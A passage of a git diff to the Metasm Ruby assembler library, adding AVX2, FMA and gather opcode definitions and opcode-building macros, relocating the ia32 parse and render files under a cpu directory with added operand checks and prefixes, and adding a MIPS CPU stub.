+    addop_vex 'vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8C, :mrmymm, :modrmA
+    addop_vex('vpmaskmovd', [1, 128, 0x66, 0x0F38, 0], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! }
+    addop_vex('vpmaskmovd', [1, 256, 0x66, 0x0F38, 0], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! }
+    addop_vex('vpmaskmovq', [1, 128, 0x66, 0x0F38, 1], 0x8E, :mrmxmm, :modrmA) { |o| o.args.reverse! }
+    addop_vex('vpmaskmovq', [1, 256, 0x66, 0x0F38, 1], 0x8E, :mrmymm, :modrmA) { |o| o.args.reverse! }
+    addop_vex 'vpsllvd', [1, 128, 0x66, 0x0F38, 0], 0x47, :mrmxmm
+    addop_vex 'vpsllvq', [1, 128, 0x66, 0x0F38, 1], 0x47, :mrmxmm
+    addop_vex 'vpsllvd', [1, 256, 0x66, 0x0F38, 0], 0x47, :mrmymm
+    addop_vex 'vpsllvq', [1, 256, 0x66, 0x0F38, 1], 0x47, :mrmymm
+    addop_vex 'vpsravd', [1, 128, 0x66, 0x0F38, 0], 0x46, :mrmxmm
+    addop_vex 'vpsravd', [1, 256, 0x66, 0x0F38, 0], 0x46, :mrmymm
+    addop_vex 'vpsrlvd', [1, 128, 0x66, 0x0F38, 0], 0x45, :mrmxmm
+    addop_vex 'vpsrlvq', [1, 128, 0x66, 0x0F38, 1], 0x45, :mrmxmm
+    addop_vex 'vpsrlvd', [1, 256, 0x66, 0x0F38, 0], 0x45, :mrmymm
+    addop_vex 'vpsrlvq', [1, 256, 0x66, 0x0F38, 1], 0x45, :mrmymm
+
+    addop_vex('vpgatherdd', [2, 128, 0x66, 0x0F38, 0], 0x90, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 }
+    addop_vex('vpgatherdd', [2, 256, 0x66, 0x0F38, 0], 0x90, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 }
+    addop_vex('vpgatherdq', [2, 128, 0x66, 0x0F38, 1], 0x90, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 }
+    addop_vex('vpgatherdq', [2, 256, 0x66, 0x0F38, 1], 0x90, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 }
+    addop_vex('vpgatherqd', [2, 128, 0x66, 0x0F38, 0], 0x91, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 }
+    addop_vex('vpgatherqd', [2, 256, 0x66, 0x0F38, 0], 0x91, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 }
+    addop_vex('vpgatherqq', [2, 128, 0x66, 0x0F38, 1], 0x91, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 }
+    addop_vex('vpgatherqq', [2, 256, 0x66, 0x0F38, 1], 0x91, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 }
+    addop_vex('vgatherdps', [2, 128, 0x66, 0x0F38, 0], 0x92, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 }
+    addop_vex('vgatherdps', [2, 256, 0x66, 0x0F38, 0], 0x92, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 }
+    addop_vex('vgatherdpd', [2, 128, 0x66, 0x0F38, 1], 0x92, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 }
+    addop_vex('vgatherdpd', [2, 256, 0x66, 0x0F38, 1], 0x92, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 }
+    addop_vex('vgatherqps', [2, 128, 0x66, 0x0F38, 0], 0x93, :mrmxmm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 128 }
+    addop_vex('vgatherqps', [2, 256, 0x66, 0x0F38, 0], 0x93, :mrmymm) { |o| o.props[:argsz] = 32 ; o.props[:mrmvex] = 256 }
+    addop_vex('vgatherqpd', [2, 128, 0x66, 0x0F38, 1], 0x93, :mrmxmm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 128 }
+    addop_vex('vgatherqpd', [2, 256, 0x66, 0x0F38, 1], 0x93, :mrmymm) { |o| o.props[:argsz] = 64 ; o.props[:mrmvex] = 256 }
+  end
+
+  def init_fma_only
+    init_cpu_constants
+
+    [['vfmaddsub', 'p', 0x86],
+     ['vfmsubadd', 'p', 0x87],
+     ['vfmadd',    'p', 0x88],
+     ['vfmadd',    's', 0x89],
+     ['vfmsub',    'p', 0x8A],
+     ['vfmsub',    's', 0x8B],
+     ['vfnmadd',   'p', 0x8C],
+     ['vfnmadd',   's', 0x8D],
+     ['vfnmsub',   'p', 0x8E],
+     ['vfnmsub',   's', 0x8F]].each { |n1, n2, bin|
+      addop_vex n1 + '132' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm
+      addop_vex n1 + '132' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm
+      addop_vex n1 + '132' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm
+      addop_vex n1 + '132' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm
+      addop_vex n1 + '213' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm
+      addop_vex n1 + '213' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm
+      addop_vex n1 + '213' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm
+      addop_vex n1 + '213' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm
+      addop_vex n1 + '231' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm
+      addop_vex n1 + '231' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm
+      addop_vex n1 + '231' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm
+      addop_vex n1 + '231' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm
+
+      # pseudo-opcodes aliases (swap arg0/arg1)
+      addop_vex(n1 + '312' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+      addop_vex(n1 + '312' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+      addop_vex(n1 + '312' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x10, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+      addop_vex(n1 + '312' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x10, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+      addop_vex(n1 + '123' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+      addop_vex(n1 + '123' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+      addop_vex(n1 + '123' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x20, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+      addop_vex(n1 + '123' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x20, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+      addop_vex(n1 + '321' + n2 + 's', [1, 128, 0x66, 0x0F38, 0], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+      addop_vex(n1 + '321' + n2 + 's', [1, 256, 0x66, 0x0F38, 0], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+      addop_vex(n1 + '321' + n2 + 'd', [1, 128, 0x66, 0x0F38, 1], bin | 0x30, :mrmxmm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+      addop_vex(n1 + '321' + n2 + 'd', [1, 256, 0x66, 0x0F38, 1], bin | 0x30, :mrmymm) { |o| o.args[0, 2] = o.args[0, 2].reverse }
+    }
+  end
+
+  #
+  # CPU family dependencies
+  #
+
+  def init_386_common
+    init_386_common_only
+  end
+
+  def init_386
+    init_386_common
+    init_386_only
+  end
+
+  def init_387
+    init_387_only
+  end
+
+  def init_486
+    init_386
+    init_387
+    init_486_only
+  end
+
+  def init_pentium
+    init_486
+    init_pentium_only
+  end
+
+  def init_3dnow
+    init_pentium
+    init_3dnow_only
+  end
+
+  def init_p6
+    init_pentium
+    init_p6_only
+  end
+
+  def init_sse
+    init_p6
+    init_sse_only
+  end
+
+  def init_sse2
+    init_sse
+    init_sse2_only
+  end
+
+  def init_sse3
+    init_sse2
+    init_sse3_only
+  end
+
+  def init_ssse3
+    init_sse3
+    init_ssse3_only
+  end
+
+  def init_sse41
+    init_ssse3
+    init_sse41_only
+  end
+
+  def init_sse42
+    init_sse41
+    init_sse42_only
+  end
+
+  def init_avx
+    init_sse42
+    init_avx_only
+  end
+
+  def init_avx2
+    init_avx
+    init_fma_only
+    init_avx2_only
+  end
+
+  def init_all
+    init_avx2
+    init_3dnow_only
+    init_vmx_only
+    init_aesni_only
+  end
+
+  alias init_latest init_all
+
+
+  #
+  # addop_* macros
+  #
+
+  def addop_macro1(name, num, *props)
+    addop name, [(num << 3) | 4], nil, {:w => [0, 0]}, :reg_eax, :i, *props
+    addop(name, [num << 3], :mrmw, {:d => [0, 1]}) { |o| o.args.reverse! }
+    addop name, [0x80], num, {:w => [0, 0], :s => [0, 1]}, :i, *props
+  end
+  def addop_macro2(name, num)
+    addop name, [0x0F, 0xBA], (4 | num), :u8
+    addop(name, [0x0F, 0xA3 | (num << 3)], :mrm) { |op| op.args.reverse! }
+  end
+  def addop_macro3(name, num)
+    addop name, [0xD0], num, {:w => [0, 0]}, :imm_val1
+    addop name, [0xD2], num, {:w => [0, 0]}, :reg_cl
+    addop name, [0xC0], num, {:w => [0, 0]}, :u8
+  end
+
+  def addop_macrotttn(name, bin, hint, *props, &blk)
+    [%w{o},     %w{no},    %w{b nae c}, %w{nb ae nc},
+     %w{z e},   %w{nz ne}, %w{be na}, %w{nbe a},
+     %w{s},     %w{ns},    %w{p pe},  %w{np po},
+     %w{l nge}, %w{nl ge}, %w{le ng}, %w{nle g}].each_with_index { |e, i|
+      b = bin.dup
+      if b[0] == 0x0F
+        b[1] |= i
+      else
+        b[0] |= i
+      end
+
+      e.each { |k| addop(name + k, b.dup, hint, *props, &blk) }
+    }
+  end
+
+  def addop_macrostr(name, bin, type)
+    # addop(name, bin.dup, {:w => [0, 0]}) { |o| o.props[type] = true }     # TODO allow segment override
+    addop(name+'b', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true }
+    addop(name+'b', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true }
+    bin = bin.dup
+    bin[0] |= 1
+    addop(name+'w', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true }
+    addop(name+'d', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true }
+  end
+
+  def addop_macrofpu1(name, n)
+    addop(name, [0xD8, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 }
+    addop(name, [0xDC, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 }
+    addop(name, [0xD8, 0xC0|(n<<3)], :regfp, {:d => [0, 2]}) { |o| o.args.reverse! }
+  end
+  def addop_macrofpu2(name, n, n2=0)
+    addop(name, [0xDE|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 16 }
+    addop(name, [0xDA|n2, n<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 }
+  end
+  def addop_macrofpu3(name, n)
+    addop_macrofpu2 name, n, 1
+    addop(name, [0xDF, 0x28|(n<<3)], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 }
+  end
+
+  def addop_macrogg(ggrng, name, bin, *args, &blk)
+    ggoff = 1
+    ggoff = 2 if bin[1] == 0x38 or bin[1] == 0x3A
+    ggrng.each { |gg|
+      bindup = bin.dup
+      bindup[ggoff] |= gg
+      sfx = %w(b w d q)[gg]
+      addop name+sfx, bindup, *args, &blk
+    }
+  end
+
+  def addop_macrossps(name, bin, hint, *a)
+    addop name, bin.dup, hint, *a
+    addop(name.sub(/ps$/, 'ss'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF3 }
+  end
+
+  def addop_macrosdpd(name, bin, hint, *a)
+    addop(name, bin.dup, hint, *a) { |o| o.props[:needpfx] = 0x66 }
+    addop(name.sub(/pd$/, 'sd'), bin.dup, hint, *a) { |o| o.props[:needpfx] = 0xF2 }
+  end
+
+  # special ret (iret/retf), that still default to 32b mode in x64
+  def addop_macroret(name, bin, *args)
+    addop(name + '.i32', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 32 }
+    addop(name + '.i16', bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 16 } if name != 'sysret'
+    addop(name, bin.dup, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = @size }
+  end
+
+  # add an AVX instruction needing a VEX prefix (c4h/c5h)
+  # the prefix is hardcoded
+  def addop_vex(name, vexspec, bin, *args)
+    argnr = vexspec.shift
+    argt = vexspec.shift if argnr and vexspec.first.kind_of?(::Symbol)
+    l = vexspec.shift
+    pfx = vexspec.shift
+    of = vexspec.shift
+    w = vexspec.shift
+    argt ||= (l == 128 ? :vexvxmm : :vexvymm)
+
+    lpp = ((l >> 8) << 2) | [nil, 0x66, 0xF3, 0xF2].index(pfx)
+    mmmmm = [nil, 0x0F, 0x0F38, 0x0F3A].index(of)
+
+    c4bin = [0xC4, mmmmm, lpp, bin]
+    c4bin[1] |= 1 << 7 if @size != 64
+    c4bin[1] |= 1 << 6 if @size != 64
+    c4bin[2] |= 1 << 7 if w == 1
+    c4bin[2] |= 0xF << 3 if not argnr
+
+    addop(name, c4bin, *args) { |o|
+      o.args.insert(argnr, argt) if argnr
+
+      o.fields[:vex_r] = [1, 7] if @size == 64
+      o.fields[:vex_x] = [1, 6] if @size == 64
+      o.fields[:vex_b] = [1, 5]
+      o.fields[:vex_w] = [2, 7] if not w
+      o.fields[:vex_vvvv] = [2, 3] if argnr
+
+      yield o if block_given?
+    }
+
+    return if w == 1 or mmmmm != 1
+
+    c5bin = [0xC5, lpp, bin]
+    c5bin[1] |= 1 << 7 if @size != 64
+    c5bin[1] |= 0xF << 3 if not argnr
+
+    addop(name, c5bin, *args) { |o|
+      o.args.insert(argnr, argt) if argnr
+
+      o.fields[:vex_r] = [1, 7] if @size == 64
+      o.fields[:vex_vvvv] = [1, 3] if argnr
+
+      yield o if block_given?
+    }
+  end
+
+  # helper function: creates a new Opcode based on the arguments, eventually
+  # yields it for further customisation, and append it to the instruction set
+  # is responsible of the creation of disambiguating opcodes if necessary (:s flag hardcoding)
+  def addop(name, bin, hint=nil, *argprops)
+    fields = (argprops.first.kind_of?(Hash) ? argprops.shift : {})
+    op = Opcode.new name, bin
+    op.fields.replace fields
+
+    case hint
+    when nil
+
+    when :mrm, :mrmw, :mrmA
+      op.fields[:reg]   = [bin.length, 3]
+      op.fields[:modrm] = [bin.length, 0]
+      op.fields[:w]     = [bin.length - 1, 0] if hint == :mrmw
+      argprops.unshift :reg, :modrm
+      argprops << :modrmA if hint == :mrmA
+      op.bin << 0
+    when :reg
+      op.fields[:reg] = [bin.length-1, 0]
+      argprops.unshift :reg
+    when :regfp
+      op.fields[:regfp] = [bin.length-1, 0]
+      argprops.unshift :regfp, :regfp0
+    when :modrmA
+      op.fields[:modrm] = [bin.length-1, 0]
+      argprops << :modrm << :modrmA
+
+    when Integer		# mod/m, reg == opcode extension = hint
+      op.fields[:modrm] = [bin.length, 0]
+      op.bin << (hint << 3)
+      argprops.unshift :modrm
+
+    when :mrmmmx
+      op.fields[:regmmx] = [bin.length, 3]
+      op.fields[:modrm] = [bin.length, 0]
+      bin << 0
+      argprops.unshift :regmmx, :modrmmmx
+    when :mrmxmm
+      op.fields[:regxmm] = [bin.length, 3]
+      op.fields[:modrm] = [bin.length, 0]
+      bin << 0
+      argprops.unshift :regxmm, :modrmxmm
+    when :mrmymm
+      op.fields[:regymm] = [bin.length, 3]
+      op.fields[:modrm] = [bin.length, 0]
+      bin << 0
+      argprops.unshift :regymm, :modrmymm
+    else
+      raise SyntaxError, "invalid hint #{hint.inspect} for #{name}"
+    end
+
+    argprops.each { |a|
+      op.props[a] = true if @valid_props[a]
+      op.args << a if @valid_args[a]
+    }
+
+    yield op if block_given?
+
+    if $DEBUG
+      argprops -= @valid_props.keys + @valid_args.keys
+      raise "Invalid opcode definition: #{name}: unknown #{argprops.inspect}" unless argprops.empty?
+
+      argprops = (op.props.keys - @valid_props.keys) + (op.args - @valid_args.keys) + (op.fields.keys - @fields_mask.keys)
+      raise "Invalid opcode customisation: #{name}: #{argprops.inspect}" unless argprops.empty?
+    end
+
+    addop_post(op)
+  end
+
+  # this recursive method is in charge of Opcode duplication (eg to hardcode some flag)
+  def addop_post(op)
+    if df = op.fields.delete(:d)
+      # hardcode the bit
+      dop = op.dup
+      addop_post dop
+
+      op.bin[df[0]] |= 1 << df[1]
+      op.args.reverse!
+      addop_post op
+
+      return
+    elsif wf = op.fields.delete(:w)
+      # hardcode the bit
+      dop = op.dup
+      dop.props[:argsz] = 8
+      # 64-bit w=0 s=1 => UD
+      dop.fields.delete(:s) if @size == 64
+      addop_post dop
+
+      op.bin[wf[0]] |= 1 << wf[1]
+      addop_post op
+
+      return
+    elsif sf = op.fields.delete(:s)
+      # add explicit choice versions, with lower precedence (so that disassembling will return the general version)
+      # eg "jmp", "jmp.i8", "jmp.i"
+      # also hardcode the bit
+      op32 = op
+      addop_post op32
+
+      op8 = op.dup
+      op8.bin[sf[0]] |= 1 << sf[1]
+      op8.args.map! { |arg| arg == :i ? :i8 : arg }
+      addop_post op8
+
+      op32 = op32.dup
+      op32.name << '.i'
+      addop_post op32
+
+      op8 = op8.dup
+      op8.name << '.i8'
+      addop_post op8
+
+      return
+    elsif op.args.first == :regfp0
+      dop = op.dup
+      dop.args.delete :regfp0
+      addop_post dop
+    end
+
+    if op.props[:needpfx]
+      @opcode_list.unshift op
+    else
+      @opcode_list << op
+    end
+
+    if (op.args == [:i] or op.args == [:farptr] or op.name == 'ret') and op.name !~ /\.i/
+      # define opsz-override version for ambiguous opcodes
+      op16 = op.dup
+      op16.name << '.i16'
+      op16.props[:opsz] = 16
+      @opcode_list << op16
+      op32 = op.dup
+      op32.name << '.i32'
+      op32.props[:opsz] = 32
+      @opcode_list << op32
+    elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or
+        op.args.include? :modrm or op.name =~ /loop|xlat/
+      # define adsz-override version for ambiguous opcodes (TODO allow movsd edi / movsd di syntax)
+      # XXX loop pfx 67 = eip+cx, 66 = ip+ecx
+      op16 = op.dup
+      op16.name << '.a16'
+      op16.props[:adsz] = 16
+      @opcode_list << op16
+      op32 = op.dup
+      op32.name << '.a32'
+      op32.props[:adsz] = 32
+      @opcode_list << op32
+    end
+  end
+end
+end
diff --git a/lib/metasm/metasm/ia32/parse.rb b/lib/metasm/metasm/cpu/ia32/parse.rb
similarity index 80%
rename from lib/metasm/metasm/ia32/parse.rb
rename to lib/metasm/metasm/cpu/ia32/parse.rb
index 9dccfcf554..1d32f5db9e 100644
--- a/lib/metasm/metasm/ia32/parse.rb
+++ b/lib/metasm/metasm/cpu/ia32/parse.rb
@@ -4,8 +4,8 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/ia32/opcodes'
-require 'metasm/ia32/encode'
+require 'metasm/cpu/ia32/opcodes'
+require 'metasm/cpu/ia32/encode'
 require 'metasm/parse'
 
 module Metasm
@@ -99,14 +99,18 @@ class ModRM
         else
           b = o
         end
+      when SimdReg
+        raise otok, 'mrm: too many regs' if i
+        i = o
+        s = 1
       when Expression
-        if o.op == :* and (o.rexpr.kind_of? Reg or o.lexpr.kind_of? Reg)
+        if o.op == :* and (o.rexpr.kind_of?(Reg) or o.lexpr.kind_of?(Reg))
           # scaled index
           raise otok, 'mrm: too many indexes' if i
           s = o.lexpr
           i = o.rexpr
           s, i = i, s if s.kind_of? Reg
-          raise otok, 'mrm: bad scale' unless s.kind_of? Integer
+          raise otok, "mrm: bad scale #{s}" unless [1, 2, 4, 8].include?(s)
         elsif o.op == :+
           # recurse
           walker[o.lexpr]
@@ -125,7 +129,9 @@ class ModRM
     walker[regify[content.reduce]]
 
     # ensure found immediate is really an immediate
-    raise otok, 'mrm: reg in imm' if imm.kind_of? Expression and not imm.externals.grep(Reg).empty?
+    raise otok, 'mrm: reg in imm' if imm.kind_of?(Expression) and not imm.externals.grep(Reg).empty?
+
+    raise otok, 'mrm: bad reg size' if b.kind_of?(Reg) and i.kind_of?(Reg) and b.sz != i.sz
 
     # find default address size
     adsz = b ? b.sz : i ? i.sz : nil
@@ -153,7 +159,6 @@ end
   end
 
   def parse_prefix(i, pfx)
-    # XXX check for redefinition ?
     # implicit 'true' return value when assignment occur
     i.prefix ||= {}
     case pfx
@@ -163,11 +168,14 @@ end
     when 'repne', 'repnz'; i.prefix[:rep] = 'repnz'
     when 'code16';         i.prefix[:sz] = 16
     when 'code32';         i.prefix[:sz] = 32
+    when 'hintjmp', 'ht';  i.prefix[:jmphint] = 'hintjmp'
+    when 'hintnojmp', 'hnt';i.prefix[:jmphint] = 'hintnojmp'
+    when /^seg_([c-g]s)$/; i.prefix[:seg] = SegReg.new(SegReg.s_to_i[$1])
     end
   end
 
   def parse_argregclasslist
-    [Reg, SimdReg, SegReg, DbgReg, CtrlReg, FpReg]
+    [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg]
   end
   def parse_modrm(lex, tok, cpu)
     ModRM.parse(lex, tok, cpu)
@@ -230,17 +238,30 @@ end
   # check if the argument matches the opcode's argument spec
   def parse_arg_valid?(o, spec, arg)
     if o.name ==  'movsx' or o.name == 'movzx'
-      if not arg.kind_of? Reg and not arg.kind_of? ModRM
- 				return
+      if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM)
+        return
       elsif not arg.sz
         puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE
         return
       elsif spec == :reg	# reg=dst, modrm=src (smaller)
-        return (arg.kind_of? Reg and arg.sz >= 16)
+        return (arg.kind_of?(Reg) and arg.sz >= 16)
       elsif o.props[:argsz]
         return arg.sz == o.props[:argsz]
       else
-        return arg.sz <= 16
+        return arg.sz == 16
+      end
+    elsif o.name == 'crc32'
+      if not arg.kind_of?(Reg) and not arg.kind_of?(ModRM)
+        return
+      elsif not arg.sz
+        puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE
+        return
+      elsif spec == :reg
+        return (arg.kind_of?(Reg) and arg.sz >= 32)
+      elsif o.props[:argsz]
+        return arg.sz == o.props[:argsz]
+      else
+        return arg.sz >= 16
       end
     end
 
@@ -254,7 +275,7 @@ end
     cond and
     case spec
     when :reg; arg.kind_of? Reg and (arg.sz >= 16 or o.props[:argsz])
-    when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz])
+    when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz]) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? Reg)
     when :i;        arg.kind_of? Expression
     when :imm_val1; arg.kind_of? Expression and arg.reduce == 1
     when :imm_val3; arg.kind_of? Expression and arg.reduce == 3
@@ -267,15 +288,22 @@ end
     when :seg2A;    arg.kind_of? SegReg  and arg.val < 4 and arg.val != 1
     when :eeec;     arg.kind_of? CtrlReg
     when :eeed;     arg.kind_of? DbgReg
-    when :modrmA;   arg.kind_of? ModRM
+    when :eeet;     arg.kind_of? TstReg
     when :mrm_imm;  arg.kind_of? ModRM   and not arg.s and not arg.i and not arg.b
     when :farptr;   arg.kind_of? Farptr
     when :regfp;    arg.kind_of? FpReg
     when :regfp0;   arg.kind_of? FpReg   and (arg.val == nil or arg.val == 0)
-    when :modrmmmx; arg.kind_of? ModRM   or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx])))
+    when :modrmmmx; arg.kind_of? ModRM   or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg)
     when :regmmx;   arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))
-    when :modrmxmm; arg.kind_of? ModRM   or (arg.kind_of? SimdReg and arg.sz == 128)
+    when :modrmxmm; arg.kind_of? ModRM   or (arg.kind_of? SimdReg and arg.sz == 128) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg)
     when :regxmm;   arg.kind_of? SimdReg and arg.sz == 128
+    when :modrmymm; arg.kind_of? ModRM   or (arg.kind_of? SimdReg and arg.sz == 256) and (!o.props[:modrmA] or arg.kind_of? ModRM) and (!o.props[:modrmR] or arg.kind_of? SimdReg)
+    when :regymm;   arg.kind_of? SimdReg and arg.sz == 256
+
+    when :vexvreg;  arg.kind_of? Reg and arg.sz == @size
+    when :vexvxmm, :i4xmm;  arg.kind_of? SimdReg and arg.sz == 128
+    when :vexvymm, :i4ymm;  arg.kind_of? SimdReg and arg.sz == 256
+
     when :i8, :u8, :u16
       arg.kind_of? Expression and
       (o.props[:setip] or Expression.in_range?(arg, spec) != false)	# true or nil allowed
@@ -302,8 +330,8 @@ end
       else
         if r = i.args.grep(Reg).first
           m.sz = r.sz
-        elsif opcode_list_byname[i.opname].all? { |o| o.props[:argsz] }
-          m.sz = opcode_list_byname[i.opname].first.props[:argsz]
+        elsif l = opcode_list_byname[i.opname].map { |o| o.props[:argsz] }.uniq and l.length == 1 and l.first
+          m.sz = l.first
         else
           # this is also the size of ctrlreg/dbgreg etc
           # XXX fpu/simd ?
@@ -320,6 +348,10 @@ end
     end
   end
 
+  def check_reserved_name(name)
+    Reg.s_to_i[name]
+  end
+
   def instr_uncond_jump_to(target)
     parse_instruction("jmp #{target}")
   end
diff --git a/lib/metasm/metasm/ia32/render.rb b/lib/metasm/metasm/cpu/ia32/render.rb
similarity index 73%
rename from lib/metasm/metasm/ia32/render.rb
rename to lib/metasm/metasm/cpu/ia32/render.rb
index d0c7cc7c93..2223819fdf 100644
--- a/lib/metasm/metasm/ia32/render.rb
+++ b/lib/metasm/metasm/cpu/ia32/render.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/ia32/opcodes'
+require 'metasm/cpu/ia32/opcodes'
 require 'metasm/render'
 
 # XXX move context in another file ?
@@ -14,7 +14,7 @@ class Ia32
     include Renderable
   end
 
-  [SegReg, DbgReg, CtrlReg, FpReg].each { |c| c.class_eval {
+  [SegReg, DbgReg, TstReg, CtrlReg, FpReg].each { |c| c.class_eval {
     def render ; [self.class.i_to_s[@val]] end
   } }
   [Reg, SimdReg].each { |c| c.class_eval {
@@ -60,12 +60,18 @@ class Ia32
 
   def render_instruction(i)
     r = []
-    r << 'lock ' if i.prefix and i.prefix[:lock]
-    r << i.prefix[:rep] << ' ' if i.prefix and i.prefix[:rep]
+    if pfx = i.prefix
+      r << 'lock ' if pfx[:lock]
+      r << pfx[:rep] << ' ' if pfx[:rep]
+      r << pfx[:jmphint] << ' ' if pfx[:jmphint]
+      r << 'seg_' << pfx[:seg] << ' ' if pfx[:seg]
+    end
     r << i.opname
+    sep = ' '
     i.args.each { |a|
       a.instruction = i if a.kind_of? ModRM
-      r << (r.last == i.opname ? ' ' : ', ') << a
+      r << sep << a
+      sep = ', '
     }
     r
   end
@@ -87,5 +93,26 @@ class Ia32
     h['toggle lock'] = lambda { (i.prefix ||= {})[:lock] = !i.prefix[:lock] }
     h
   end
+
+  def gui_hilight_word_regexp_init
+    ret = {}
+
+    %w[a b c d].each { |r|
+      ret["#{r}l"] = "e?#{r}x|#{r}l"
+      ret["#{r}h"] = "e?#{r}x|#{r}h"
+      ret["#{r}x"] = ret["e#{r}x"] = "e?#{r}x|#{r}[hl]"
+    }
+
+    %w[sp bp si di].each { |r|
+      ret[r] = ret["e#{r}"] = "e?#{r}"
+    }
+
+    ret
+  end
+
+  def gui_hilight_word_regexp(word)
+    @gui_hilight_word_hash ||= gui_hilight_word_regexp_init
+    @gui_hilight_word_hash[word] or super(word)
+  end
 end
 end
diff --git a/lib/metasm/metasm/cpu/mips.rb b/lib/metasm/metasm/cpu/mips.rb
new file mode 100644
index 0000000000..52c3005e24
--- /dev/null
+++ b/lib/metasm/metasm/cpu/mips.rb
@@ -0,0 +1,14 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+class Metasm::MIPS < Metasm::CPU
+end
+
+require 'metasm/main'
+require 'metasm/cpu/mips/parse'
+require 'metasm/cpu/mips/encode'
+require 'metasm/cpu/mips/decode'
+require 'metasm/cpu/mips/render'
+require 'metasm/cpu/mips/debug'
